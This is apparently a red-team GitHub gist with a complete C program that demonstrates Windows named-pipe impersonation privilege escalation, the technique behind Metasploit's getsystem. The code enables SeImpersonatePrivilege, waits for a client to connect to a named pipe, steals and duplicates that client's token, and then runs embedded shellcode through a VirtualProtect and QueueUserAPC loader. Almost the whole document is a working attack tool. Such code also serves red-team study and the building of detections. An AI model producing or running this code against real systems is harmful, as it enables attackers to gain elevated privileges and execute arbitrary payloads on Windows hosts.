Skip to content

Instantly share code, notes, and snippets.

@RedTeams
Created July 21, 2019 18:57
Show Gist options
  • Save RedTeams/1bee7f264fca14df522d0e1cf59a9d80 to your computer and use it in GitHub Desktop.
Save RedTeams/1bee7f264fca14df522d0e1cf59a9d80 to your computer and use it in GitHub Desktop.
Simple demonstration of Named pipe Impersonation
/*
* Great, this technique is overdone maybe...a billion times
* This same technique is used by Metasploit's getsystem()
* command in implementation 1 (getsystem -t 1) by forcing
* a service to connect to an arbitrary named pipe.
*
* The technique is abusable given the following conditions:
* -> SeImpersonatePrivilege _must_ by enabled, I cannot stress
* this enough. Read MSDN, to impersonate other users, you need
* this privilege for the call to complete successfully.
* -> Process Integrity, generally this ties into the privilege part
* but just for reference you need a medium integrity or high
* integrity process to have the privilege itself & for this attack
* to work. Local Service & Network Service accounts off memory,
* due to kerberos, have this privilege. Generally services for short.
*
* For "safety" and because I can't be arsed to upload another EXE thats far
* more malicious to the server, I've stored the bits in the binary. No,
* I dont care about CreateProcessWithTokenw() or CreateProcessAsUserA/W().
* although both can be used if thats your thing. If not, bless SetThreadToken()
* for its ability to...impersonate.
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include "payload.h"
/*
* Uses AdjustTokenPrivileges() to modify a privilege's attributes, whether to
* enable or disable in the current process. By default it modified any of the
* tokens passed to it, whether a thread (impersonation) or a process token.
*
* It first looks up the privilege's local identifier (luid), then sets the privilege
* attributes to SE_PRIVILEGE_ENABLED. After doing so, it processes the change with
* AdjustTokenPrivileges
*/
static int enable_privilege(void* ptoken, char* sepriv) {
LUID g_privluid;
TOKEN_PRIVILEGES g_tokenpriv;
BOOL b_ret;
// "Zero" the memory on the stack for safety!
RtlSecureZeroMemory(&g_tokenpriv, sizeof(TOKEN_PRIVILEGES));
// Lookup the privilege's luid by its ansi name.
b_ret = LookupPrivilegeValue(NULL, sepriv, &g_privluid);
if ( b_ret != TRUE ) {
printf("[ ] LookupPrivilegeValue 0x%x\n", GetLastError());
return -1;
};
// Using the TOKEN_PRIVILEGES structure, we set the privilege LUID & its attribute
g_tokenpriv.PrivilegeCount = 1;
g_tokenpriv.Privileges[0].Luid = g_privluid;
g_tokenpriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
b_ret = AdjustTokenPrivileges(ptoken, // The token to modify!
FALSE, // Disable all privileges or dont? False lol.
&g_tokenpriv, // Pointer to a token privileges structure.
sizeof(TOKEN_PRIVILEGES), // size of structure
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);
if ( b_ret != TRUE ) {
printf("[ ] AdjustTokenPrivileges 0x%x\n", GetLastError());
return -1;
};
return 0;
};
/*
* Uses CreateNamedPipeA() and ConnectNamedPipe() to await a connection from a client connecting
* with CreateFile* API's since, well, pipes are considered "files" and are generally used for
* inter-process communication.
*
* Since we do not need to read _write_ to the pipe, we'll use PIPE_ACCESS_INBOUND to only
* access incoming clients. As mentioned above to impersonate other users we must
* enable SeImpersonate else we will only be able to impersonate users of our current user
*/
static void * smbpipe_server(char* pname) {
void* p_pipe;
BOOL b_ret;
/*
* CreateNamedPipeA() - Create a pipe with the specified name, in the format of \\.\pipe\pipename, which
* clients can then connect to. Use PIPE_ACCESS_INBOUND as we will not need to write to the pipe, and
* Reject all remote clients, + Wait for a clinet to connect before continuing any other operations.
*/
p_pipe = CreateNamedPipeA(pname, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS,
2, 0, 0, 0, NULL);
if ( p_pipe != INVALID_HANDLE_VALUE ) {
b_ret = ConnectNamedPipe(p_pipe, NULL);
if ( b_ret != FALSE ) {
return p_pipe;
};
printf("[ ] ConnectNamedPipe() 0x%x\n", GetLastError());
CloseHandle((HANDLE)p_pipe);
} else {
printf("[ ] CreateNamedPipeA() 0x%x\n", GetLastError());
};
return NULL;
};
/*
* Uses ImpersonateNamedPipeClient() to impersonate the connecting client user, and ultimately become
* that user. First however, it must satisfy the ReadFile() requirement as the pipe will refuse to work
* until data has been read.
*
* After impersonation succeeds, we'll duplicate the token so that it may be used by the user later
* on for whatever purposes they may entail.
*/
static void * smbpipe_impersonate(void* h_pipe) {
BOOL b_ret;
void* p_itoken;
void* p_dtoken;
char* bytes[5];
DWORD dwread;
b_ret = ReadFile(h_pipe, (char *)bytes, 1, &dwread, NULL);
if ( b_ret != TRUE ) {
printf("[ ] ReadFile() 0x%x\n", GetLastError());
return NULL;
};
b_ret = ImpersonateNamedPipeClient(h_pipe);
if ( b_ret != TRUE ) {
printf("[ ] ImpersonateNamedPipeClient() 0x%x\n", GetLastError());
return NULL;
};
b_ret = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &p_itoken);
if ( b_ret != TRUE ) {
printf("[ ] OpenThreadToken() 0x%x\n", GetLastError());
return NULL;
};
b_ret = DuplicateToken(p_itoken, SecurityImpersonation, &p_dtoken);
if ( b_ret != TRUE ) {
printf("[ ] DuplicateToken() 0x%x\n", GetLastError());
CloseHandle((HANDLE)p_itoken);
return NULL;
};
RevertToSelf(); // Revert impersonation!
return p_dtoken;
};
static void execute_payload(void) {
DWORD pold;
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READ, (PDWORD)&pold);
QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), (ULONG_PTR)NULL);
SleepEx(5000, TRUE);
};
int main(int argc, char *argv[])
{
if ( argc < 2 ) {
printf("usage: %s [pipe]\n", argv[0]);
ExitProcess(0);
};
void* p_ptoken;
void* p_pipe;
void* p_itoken;
// Steal the current process token, as we'll enable the privilege globally
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &p_ptoken);
if ( enable_privilege(p_ptoken, "SeImpersonatePrivilege") != -1 ) {
printf("[+] Starting a pipe server @ %s\n", argv[1]);
p_pipe = smbpipe_server(argv[1]);
if ( p_pipe != NULL ) {
printf("[+] Impersonating the pipe client\n");
p_itoken = smbpipe_impersonate(p_pipe);
DisconnectNamedPipe((HANDLE)p_pipe);
CloseHandle(p_pipe);
if ( p_itoken != NULL ) {
printf("[*] Executing our payload\n");
SetThreadToken(NULL, p_itoken);
execute_payload();
};
};
};
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment